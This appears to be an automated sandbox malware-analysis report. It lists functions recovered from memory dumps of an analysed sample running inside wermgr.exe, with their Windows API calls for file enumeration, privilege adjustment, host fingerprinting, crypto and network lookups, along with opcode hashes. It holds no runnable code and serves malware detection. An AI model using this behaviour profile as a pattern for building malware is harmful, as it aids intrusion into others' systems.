Part of subcall function 6E40DDCA: HeapFree.KERNEL32(00000000,00000000), ref: 6E40DDE0
Part of subcall function 6E40DDCA: GetLastError.KERNEL32(?,?,6E413554,?,00000000,?,?,?,6E41357B,?,00000007,?,?,6E4115DE,?,?), ref: 6E40DDF2

_free.LIBCMT ref: 6E4134EB
_free.LIBCMT ref: 6E4134FD
_free.LIBCMT ref: 6E41350F
_free.LIBCMT ref: 6E413521

Memory Dump Source

Source File: 00000004.00000002.2099698242.000000006DFF1000.00000020.00020000.sdmp, Offset: 6DFF0000, based on PE: true

Associated: 00000004.00000002.2099681446.000000006DFF0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100627167.000000006E419000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100655080.000000006E43A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2100672488.000000006E43C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100695107.000000006E454000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 457620d8f6472ad39daa917822fbcc316e58826337ab478ce110461d50f1cf6e
Instruction ID: f819ace71378474400573650d20bb40839791a0aef23788c52ee93592f884176
Opcode Fuzzy Hash: 457620d8f6472ad39daa917822fbcc316e58826337ab478ce110461d50f1cf6e
Instruction Fuzzy Hash: 6DF0FF3151860AD78E60DBF9E4C9DAB73EDBE05654B616C1AF058D7605CB30F8808A90

Uniqueness

Uniqueness Score: -1.00%

Function 6E40DC43, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,6E40B197,00000000,?,6E40B20F,00000000,00000000,00000000,00000000,00000000,?,6DFF1183,?,?), ref: 6E40DC48
_free.LIBCMT ref: 6E40DCA5
_free.LIBCMT ref: 6E40DCDB
SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,00000000,?,6E40B197,00000000,?,6E40B20F,00000000,00000000,00000000,00000000,00000000), ref: 6E40DCE6

Memory Dump Source

Source File: 00000004.00000002.2099698242.000000006DFF1000.00000020.00020000.sdmp, Offset: 6DFF0000, based on PE: true

Associated: 00000004.00000002.2099681446.000000006DFF0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100627167.000000006E419000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100655080.000000006E43A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2100672488.000000006E43C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100695107.000000006E454000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 1c3d68876124fe38d1d4e1fa0e8feae32b871ce65c5b3a09b4301422aa690f4f
Instruction ID: 08242b8eb1dfb4959ca3fcc159faec1f8c1569f80bf10b279d76afc13c14bf8e
Opcode Fuzzy Hash: 1c3d68876124fe38d1d4e1fa0e8feae32b871ce65c5b3a09b4301422aa690f4f
Instruction Fuzzy Hash: AB11A07169C5015F9ED15BF95D84EAA266DAFC32B9721063FF124832C0DF6148195950

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wermgr.exe PID: 2832 Parent PID: 2540 wermgr.exeCOMMON

Executed Functions

Function 00068010, Relevance: 14.7, APIs: 1, Strings: 7, Instructions: 662fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 000680C2

Strings

RSlU, xrefs: 00068242
MEDy, xrefs: 000681FC
Zfbc, xrefs: 00068234
89o1, xrefs: 0006820A
FGKL, xrefs: 00068250
hi5k, xrefs: 00068226
qrst, xrefs: 00068218

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateFile
String ID: 89o1$FGKL$MEDy$RSlU$Zfbc$hi5k$qrst
API String ID: 823142352-3865785760
Opcode ID: 3899fc2be5c3f046fd5438bf5c599fe6fd0c1ebc64fb5fb0d37524e4882c9b3f
Instruction ID: 40ccd03be48d2abce68d44c2b7f1ac28e5f025f78e81a97845d2d7634eeb0f7f
Opcode Fuzzy Hash: 3899fc2be5c3f046fd5438bf5c599fe6fd0c1ebc64fb5fb0d37524e4882c9b3f
Instruction Fuzzy Hash: AC02F631718B084FD758EB2C98567FA77D2EBD9310F04467EE48AC7293DE7988068786

Uniqueness

Uniqueness Score: -1.00%

Function 00082060, Relevance: 9.5, APIs: 4, Strings: 1, Instructions: 793timeCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE ref: 0008245F

Part of subcall function 000646F0: FindFirstFileW.KERNELBASE ref: 00064751

Part of subcall function 000646F0: FindNextFileW.KERNELBASE ref: 00064897

SetTimer.USER32 ref: 00082A53
RtlAddVectoredExceptionHandler.NTDLL ref: 00082AF9

Strings

*, xrefs: 000825A2

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: FileFind$CurrentDirectoryExceptionFirstHandlerNextTimerVectored
String ID: *
API String ID: 3512887837-2068112996
Opcode ID: 2d32ac1cb038c80154751fd2e6df3fa6bfa9096a624f293440fe1bdbff64d262
Instruction ID: 22e1d343f5114082ccb6079b0178e9cecff8652a96928ed475a31896a6d7ab23
Opcode Fuzzy Hash: 2d32ac1cb038c80154751fd2e6df3fa6bfa9096a624f293440fe1bdbff64d262
Instruction Fuzzy Hash: 7F429770618A088FEB98FF28EC5576A77E2FB95300F404529D58AC32A2DF78DD45CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000743C0, Relevance: 9.5, APIs: 3, Strings: 1, Instructions: 2453COMMON

Download Yara Rule

Strings

4(;s, xrefs: 0007599C

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID: 4(;s
API String ID: 0-2649581580
Opcode ID: 43015685a23ee80fa9e291a8c08d525f5867ce7426382b80dd43c1f2e8655dab
Instruction ID: 06fb8bb8258f989811a71076a12ebe1a475978fa92f4eae2bc674cdd1e8c3297
Opcode Fuzzy Hash: 43015685a23ee80fa9e291a8c08d525f5867ce7426382b80dd43c1f2e8655dab
Instruction Fuzzy Hash: 7AF23931614A495BC7ACDB28C8A56BE77D2FBC8311FA4962EF44BC75E0E774D8818306

Uniqueness

Uniqueness Score: -1.00%

Function 0007FBB0, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 247fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE ref: 0007FC63
SleepEx.KERNEL32 ref: 0007FC96
FindNextFileW.KERNELBASE ref: 0007FE37

Strings

*, xrefs: 0007FC44

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: FileFind$FirstNextSleep
String ID: *
API String ID: 2635277345-163128923
Opcode ID: e163968b0e97c8f8806efb8bfadcdb0948991bbddf80e24c23b1ccc8c5d68268
Instruction ID: d16653ec1ea398616fad666f2a0dcb528df6f834db19bfb600913aa329c3ae4b
Opcode Fuzzy Hash: e163968b0e97c8f8806efb8bfadcdb0948991bbddf80e24c23b1ccc8c5d68268
Instruction Fuzzy Hash: 0F610031618B0D4BD7A4BB18D8497BA72D3EBD5314F50863DE45EC3192EE798C464386

Uniqueness

Uniqueness Score: -1.00%

Function 00082659, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 312COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 000827B5

Strings

*, xrefs: 000825A2

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Sleep
String ID: *
API String ID: 3472027048-2068112996
Opcode ID: 4674caa771efd1f89ef066665a9601288701c379607da58ee53c68acba55d5c9
Instruction ID: 609ae76d5a8d9fcc4de5d561ea30b23d5095bebb89daa5630e7d42b43e3894ea
Opcode Fuzzy Hash: 4674caa771efd1f89ef066665a9601288701c379607da58ee53c68acba55d5c9
Instruction Fuzzy Hash: 298127B1618E188FE764FB68A8553AD73D2FB84310F414129D98AD3293DF38CD42C79A

Uniqueness

Uniqueness Score: -1.00%

Function 00064C40, Relevance: 4.6, APIs: 3, Instructions: 59COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32 ref: 00064C75
AdjustTokenPrivileges.KERNELBASE ref: 00064CBF
CloseHandle.KERNELBASE ref: 00064CCC

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: AdjustCloseHandleLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 4225666910-0
Opcode ID: b2c6eb48d7ec7b6e181535a2f4bfb11437ff9d0e1441fcad35f33062ec65bc7f
Instruction ID: 143cc77353880cee46f9c2182394ce3cbce59b6fc4e47c39b052661825a4a658
Opcode Fuzzy Hash: b2c6eb48d7ec7b6e181535a2f4bfb11437ff9d0e1441fcad35f33062ec65bc7f
Instruction Fuzzy Hash: 781161316187048FE7A4DB29DC88B5BBBE5FFC8311F51492EB44AC7260DA38C845CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000646F0, Relevance: 3.2, APIs: 2, Instructions: 208fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE ref: 00064751
FindNextFileW.KERNELBASE ref: 00064897

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: FileFind$FirstNext
String ID:
API String ID: 1690352074-0
Opcode ID: 64f8b084718fae9ec993cbf75e254ae6eff9cc5bf9a54b76d8b4b6fd487f8f44
Instruction ID: fb82c251428834cb83dece2136d66ca2ab52b1f620ea81b0cbe7ff2fb491ad54
Opcode Fuzzy Hash: 64f8b084718fae9ec993cbf75e254ae6eff9cc5bf9a54b76d8b4b6fd487f8f44
Instruction Fuzzy Hash: 8B41FA3171CE484FE768A66CA8896BF72D3EBD7311F14462EE05AC3292DE64DC474286

Uniqueness

Uniqueness Score: -1.00%

Function 00069200, Relevance: 2.0, APIs: 1, Instructions: 516COMMON

Download Yara Rule

APIs

LookupAccountSidW.ADVAPI32 ref: 0006934E

Part of subcall function 00083170: HeapCreate.KERNELBASE(?,?,?,?,?,00000000,00000000,?,?,00066308), ref: 00083195

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: AccountCreateHeapLookup
String ID:
API String ID: 712512385-0
Opcode ID: 43ae4afac91c0f8cd81a63a1c025475e841c26540b5e150d0c616dee9f293e2b
Instruction ID: 99e64ec6c3609fa5d87281128b2a48c7460b747c160ade06845fbed89c66f572
Opcode Fuzzy Hash: 43ae4afac91c0f8cd81a63a1c025475e841c26540b5e150d0c616dee9f293e2b
Instruction Fuzzy Hash: 59D10570618B188BDB64AF68C8957BBB3E6FF84300F54452DE886C7691EF78C945C782

Uniqueness

Uniqueness Score: -1.00%

Function 00078CA0, Relevance: 1.9, APIs: 1, Instructions: 361COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32 ref: 00078DA1

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 5f293557fcdacd38d231b0daffcdab0602552089e01a5af7f4aaff3f1dd73789
Instruction ID: e5714fecfdfff609cd52d1d7f42cc3c3244387c1cd40d0c34e9ccd5b0cdac30d
Opcode Fuzzy Hash: 5f293557fcdacd38d231b0daffcdab0602552089e01a5af7f4aaff3f1dd73789
Instruction Fuzzy Hash: A6A1C731658A494BD76CBF2898597BAB3D2FF94300F50862DF48BC7292EF78D8418349

Uniqueness

Uniqueness Score: -1.00%

Function 000789B0, Relevance: 1.8, APIs: 1, Instructions: 271COMMON

Download Yara Rule

APIs

Part of subcall function 00083170: HeapCreate.KERNELBASE(?,?,?,?,?,00000000,00000000,?,?,00066308), ref: 00083195

getaddrinfo.WS2_32 ref: 00078B4B

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateHeapgetaddrinfo
String ID:
API String ID: 1115891083-0
Opcode ID: 518217b0d97674e18f8499e74758b1a4d06ee7f73544ecab8a46d7b289cd8142
Instruction ID: 34af090ec940e8549fde81d484f4803ced84b39f21083634687960650543a431
Opcode Fuzzy Hash: 518217b0d97674e18f8499e74758b1a4d06ee7f73544ecab8a46d7b289cd8142
Instruction Fuzzy Hash: DB713770A58B094FEBA99B28985D7BAB6D1FBC5310F50C62DE44EC3291EF7CD8058346

Uniqueness

Uniqueness Score: -1.00%

Function 00061290, Relevance: 1.7, APIs: 1, Instructions: 230fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE ref: 00061319

Part of subcall function 00083170: HeapCreate.KERNELBASE(?,?,?,?,?,00000000,00000000,?,?,00066308), ref: 00083195

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateFileFindFirstHeap
String ID:
API String ID: 900145465-0
Opcode ID: d84569b45605a4a117552321b2470c8a5a82f86a6e2f3d68f3803bc2f676e002
Instruction ID: ab5ed2c3ab91c301a42772e7aa0429c52e591eade8b6ec7a8371f7e21394a1bd
Opcode Fuzzy Hash: d84569b45605a4a117552321b2470c8a5a82f86a6e2f3d68f3803bc2f676e002
Instruction Fuzzy Hash: 3851D53261CA1C4BD765AB2C98497FAB3D2FBD8720F590219E88AC3255DE74DD4287C2

Uniqueness

Uniqueness Score: -1.00%

Function 000784E0, Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetAdaptersInfo.IPHLPAPI ref: 00078546

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: AdaptersInfo
String ID:
API String ID: 3177971545-0
Opcode ID: da01e5d03d5c98486da087e0757d7dd89cbe2af4b2917feabfe38ad9459e3b03
Instruction ID: 705fab76b8e3a1149e85dd3296f38e197f0ded7ea29e4f49840abb091354476c
Opcode Fuzzy Hash: da01e5d03d5c98486da087e0757d7dd89cbe2af4b2917feabfe38ad9459e3b03
Instruction Fuzzy Hash: CC411731A18A485BE768AB28D498BBAF3D1FBC4700F44D66DF44AC3291DF3CC9058385

Uniqueness

Uniqueness Score: -1.00%

Function 0007BCA0, Relevance: 1.6, APIs: 1, Instructions: 137encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 0007BCF3

Part of subcall function 00083170: HeapCreate.KERNELBASE(?,?,?,?,?,00000000,00000000,?,?,00066308), ref: 00083195

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: AcquireContextCreateCryptHeap
String ID:
API String ID: 2533179943-0
Opcode ID: 0ec02547c073ab0a21de55bf623e00247319b2b0655e2ffc274d428d4954f84d
Instruction ID: 02549432e2b013f85cb27720c97555d0dd39d4945b695afb6763aebddbc1b9d6
Opcode Fuzzy Hash: 0ec02547c073ab0a21de55bf623e00247319b2b0655e2ffc274d428d4954f84d
Instruction Fuzzy Hash: 8A416A316187494FE3A8DF29D88876BB6E5FBC8315F44862DE58AC3250DB78D801CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0006376C, Relevance: 1.6, APIs: 1, Instructions: 95comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32 ref: 00063838

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 3baf1b7d180f2d1c2c93cb132ba578110c59f87c5c750cb339d8f953fbdb5910
Instruction ID: a1822fc534944d19f5806a2c81437e3d49f135f292e3fd60a187802b7db4128b
Opcode Fuzzy Hash: 3baf1b7d180f2d1c2c93cb132ba578110c59f87c5c750cb339d8f953fbdb5910
Instruction Fuzzy Hash: 28213D716189444FE766DB2CD844BE6B7E6F798300F6042AAD44AC7292DE2DDA47C780

Uniqueness

Uniqueness Score: -1.00%

Function 00073070, Relevance: 1.6, APIs: 1, Instructions: 74libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL ref: 000730C0

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 9a12aaee07f176c21a06291800fa4f01d4ea282631fe88c8937818c53237a136
Instruction ID: ce52be2ec6076cda3735d070ddf50a7c9f94a3914760d9714334c285745b977c
Opcode Fuzzy Hash: 9a12aaee07f176c21a06291800fa4f01d4ea282631fe88c8937818c53237a136
Instruction Fuzzy Hash: DA21E77071C7088F97A4DF1DC4C496EB7E2FB98311B14895AE00EC7211D678DA44D74A

Uniqueness

Uniqueness Score: -1.00%

Function 0007B470, Relevance: 1.5, APIs: 1, Instructions: 35nativeCOMMON

Download Yara Rule

APIs

NtDelayExecution.NTDLL(?,?,?,?,?,?,?,00000019,00001C1C,000831EA), ref: 0007B4A5

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: c137acf7960ebf0505a2bbbee54322d166f84f9b5cfb07d04b52c3c6eb24f9a4
Instruction ID: 2e27556e5ba9c8b146b10b56c43435110c38ffde967c87eee5df86ddeeb5be36
Opcode Fuzzy Hash: c137acf7960ebf0505a2bbbee54322d166f84f9b5cfb07d04b52c3c6eb24f9a4
Instruction Fuzzy Hash: EBE02631A0891C0A82A8523C2C0926B72D0E7C9334B11832BE40DE32E4E72C9D8343C5

Uniqueness

Uniqueness Score: -1.00%

Function 0006E0F0, Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: AcquireContextCrypt
String ID:
API String ID: 3951991833-0
Opcode ID: 03e43b05d1f893bc3851387e073d2e644d23046d2bf3c36d0aa1240483a26173
Instruction ID: 1afd0fcf1ec772a91628c35082769328c5804659b0f81b29fd52ccb67f3bc7ef
Opcode Fuzzy Hash: 03e43b05d1f893bc3851387e073d2e644d23046d2bf3c36d0aa1240483a26173
Instruction Fuzzy Hash: 6C51907561CB488FE794DB19D894BABB7E6FBC8304F10861DE54AC3290CB79D905CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00069A20, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 143COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE ref: 00069AC5

Strings

:, xrefs: 00069A7B
C, xrefs: 00069A6B
\, xrefs: 00069A82

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: InformationVolume
String ID: :$C$\
API String ID: 2039140958-3809124531
Opcode ID: c375221daf3ec7b70267d613f4b20181c2e417792d3413eb289dee47f1652c59
Instruction ID: d865eb24f06738668391d2685f79e9a5fbcb19a00297d7ae1373744d36335c52
Opcode Fuzzy Hash: c375221daf3ec7b70267d613f4b20181c2e417792d3413eb289dee47f1652c59
Instruction Fuzzy Hash: 8D41723061CF944AD749A76884157AFB6E1EFC9744F004A1DF09AC7382CF698A06C79B

Uniqueness

Uniqueness Score: -1.00%

Function 00084490, Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 000844CE
SetFilePointer.KERNELBASE ref: 000844F1
SetFilePointer.KERNELBASE ref: 00084509

Part of subcall function 00083170: HeapCreate.KERNELBASE(?,?,?,?,?,00000000,00000000,?,?,00066308), ref: 00083195

ReadFile.KERNELBASE ref: 00084541

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: File$CreatePointer$HeapRead
String ID:
API String ID: 4068001937-0
Opcode ID: 45c8b035bd4718661249593ff6bf2c8097c8c9ae8550ac33474a643061834a54
Instruction ID: 799e74634853b34bbf7bca1597a6e419588fbea694880bf8965331d3622f7d10
Opcode Fuzzy Hash: 45c8b035bd4718661249593ff6bf2c8097c8c9ae8550ac33474a643061834a54
Instruction Fuzzy Hash: 9E21B230718A194FE794BB38A85933EB6D5F7C8715F50863DA49BC2292DF7888064781

Uniqueness

Uniqueness Score: -1.00%

Function 00069EC0, Relevance: 3.3, APIs: 2, Instructions: 261threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 0006A0ED
SleepEx.KERNEL32 ref: 0006A0FC

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: afd7c3fcfb76b0d535b91b4d599539efb95e2a44f36c9569901f612f610f2e23
Instruction ID: 2dbc30fb022149b28acc0961f02b445f900ebc2c7e540926061fa6284361a309
Opcode Fuzzy Hash: afd7c3fcfb76b0d535b91b4d599539efb95e2a44f36c9569901f612f610f2e23
Instruction Fuzzy Hash: CF81EA7064CB488FDBA4EF18D485B9AB7E1FB99310F10491EE08DD3221DA34E9858B87

Uniqueness

Uniqueness Score: -1.00%

Function 0007E8F0, Relevance: 3.2, APIs: 2, Instructions: 186COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE ref: 0007E90A
SleepEx.KERNEL32 ref: 0007E933

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateDirectorySleep
String ID:
API String ID: 3988616660-0
Opcode ID: 9ad7c6c73245732978c98e25f4fb10f71c72c903c07b9d5c2089aab800dd22af
Instruction ID: 6227cd6b2a7e92c12457e72c86e86da7ecbe1806d4f47f635f7264861320c053
Opcode Fuzzy Hash: 9ad7c6c73245732978c98e25f4fb10f71c72c903c07b9d5c2089aab800dd22af
Instruction Fuzzy Hash: 2F41F431A0AA498FE79DEB29EC5476A3397F78C304F208169D40EC32A1DA7DED41C755

Uniqueness

Uniqueness Score: -1.00%

Function 00081760, Relevance: 3.1, APIs: 2, Instructions: 109networkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32 ref: 0008179D
getaddrinfo.WS2_32 ref: 000817BA

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: getaddrinfogethostname
String ID:
API String ID: 216350129-0
Opcode ID: bffb85e0f71f3a326a10e4f230a05dbba7294f198ee8ecc52da7b7d8d1b5ea4e
Instruction ID: 9b461dacf6d9839ba57f3e837f43a6cb824040abf39413e4443b1160704d5c12
Opcode Fuzzy Hash: bffb85e0f71f3a326a10e4f230a05dbba7294f198ee8ecc52da7b7d8d1b5ea4e
Instruction Fuzzy Hash: 82210735715605CBE765A72988897E673DBFF95320F44022DD89AC3295DF24CC47C742

Uniqueness

Uniqueness Score: -1.00%

Function 0007D010, Relevance: 3.1, APIs: 2, Instructions: 56fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 0007D054
WriteFile.KERNELBASE ref: 0007D07A

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: c590dad49d49c9a9fcc8a8c9ad659b06a60443248ba133fd27c3b40c42957434
Instruction ID: a51f412f15b820ca508bf769daeec9695bd2c5622e3a16b48497e0ed4b0cb714
Opcode Fuzzy Hash: c590dad49d49c9a9fcc8a8c9ad659b06a60443248ba133fd27c3b40c42957434
Instruction Fuzzy Hash: 3201D621718B054BD7549B28A848B6BB6D5FFCC308F00467DB84ED2294DA38CD0683C9

Uniqueness

Uniqueness Score: -1.00%

Function 00063890, Relevance: 2.0, APIs: 1, Instructions: 489COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 000639B6

Part of subcall function 00069200: LookupAccountSidW.ADVAPI32 ref: 0006934E

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: AccountLookupSleep
String ID:
API String ID: 3864446389-0
Opcode ID: ff81b296a4bd0af3a68e7c0d8d1f32ef1b1bd921e0429aeffe64788ee1e911f7
Instruction ID: d7a7fa65b745b3026d5917fc184a9111a6b79effc3639490dd83ea33203f300a
Opcode Fuzzy Hash: ff81b296a4bd0af3a68e7c0d8d1f32ef1b1bd921e0429aeffe64788ee1e911f7
Instruction Fuzzy Hash: 6AF11C7061CB488FD7A9EB18C455BEAB7E2FBD8300F50492EA48EC3251DF749545CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00081410, Relevance: 1.8, APIs: 1, Instructions: 321COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE ref: 000816FD

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d53593ef06a25bc9f9cfd760daae1ffcfcba342b763bbfcbf0c9b5d28d3f8a7f
Instruction ID: 55ad6e6ed7fe133cbeb95bca22fcb6bd0866b6b27c4e9ce4b3e542a96bd8b511
Opcode Fuzzy Hash: d53593ef06a25bc9f9cfd760daae1ffcfcba342b763bbfcbf0c9b5d28d3f8a7f
Instruction Fuzzy Hash: D291B630618A048FDB98FB28D895BEA73E6FF98305F54415CE48AC7292DB35D942C742

Uniqueness

Uniqueness Score: -1.00%

Function 000658D0, Relevance: 1.7, APIs: 1, Instructions: 225COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32 ref: 0007748A

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 879d15b0961edd474b91021addd502f716b1f33488422d4063d91a1a752e487d
Instruction ID: 36a5dcaffcbef31031d1a42fb2054a03fb1477cb53958efad4c704fa1d3181d0
Opcode Fuzzy Hash: 879d15b0961edd474b91021addd502f716b1f33488422d4063d91a1a752e487d
Instruction Fuzzy Hash: F8519030B18A084BDB98E77984A17BEA6D2FBD8350F54853DA44EC3292EF7CC9059346

Uniqueness

Uniqueness Score: -1.00%

Function 0007DC60, Relevance: 1.7, APIs: 1, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dc8ffccb85d5989985982a6e38f626aed9a5d4905e051f2495a10a6f7617192
Instruction ID: 4f87321e886ca183081b4079bc2c4b38061548ba5d9dbe675ca1ce632b7a8e0c
Opcode Fuzzy Hash: 6dc8ffccb85d5989985982a6e38f626aed9a5d4905e051f2495a10a6f7617192
Instruction Fuzzy Hash: C1515971718B044BD719AB29D8946BBB7E3FFC5300F95862EE04AC3286DE799C068785

Uniqueness

Uniqueness Score: -1.00%

Function 00072990, Relevance: 1.6, APIs: 1, Instructions: 150synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNELBASE ref: 00072AF1

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: bc9c2de8925b6b38adf748650663e96887c49c0cd5a9a84ebee7b9657163c32d
Instruction ID: 40bf4e5d79c5833cd41fe110aba3c6b292b534086a1a279c2b9bcbbaf3de8cc8
Opcode Fuzzy Hash: bc9c2de8925b6b38adf748650663e96887c49c0cd5a9a84ebee7b9657163c32d
Instruction Fuzzy Hash: 51418330718B088FE795EB28D8587AFB7E2FBD8301F54452DE08AC3251DB39D9418786

Uniqueness

Uniqueness Score: -1.00%

Function 00082850, Relevance: 1.6, APIs: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 000646F0: FindFirstFileW.KERNELBASE ref: 00064751

SleepEx.KERNEL32 ref: 00082A0C

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: FileFindFirstSleep
String ID:
API String ID: 4158786080-0
Opcode ID: ac6e186cb4e7ec930bcf6efc8805403cb8791cec564f57268022be71390ea31f
Instruction ID: 12f7acf3e8ea0a66e4d0bd546ea4a42a975aef8d4efe567f031e3be72e761e30
Opcode Fuzzy Hash: ac6e186cb4e7ec930bcf6efc8805403cb8791cec564f57268022be71390ea31f
Instruction Fuzzy Hash: 8A41A530618A498FEB94FF28D895B6A73E1FB58300F104568E9C9C3266DF78DD41CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0006DC60, Relevance: 1.6, APIs: 1, Instructions: 136COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 0006DDD6

Memory Dump Source

Source File: 00000006.00000002.2364312360.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

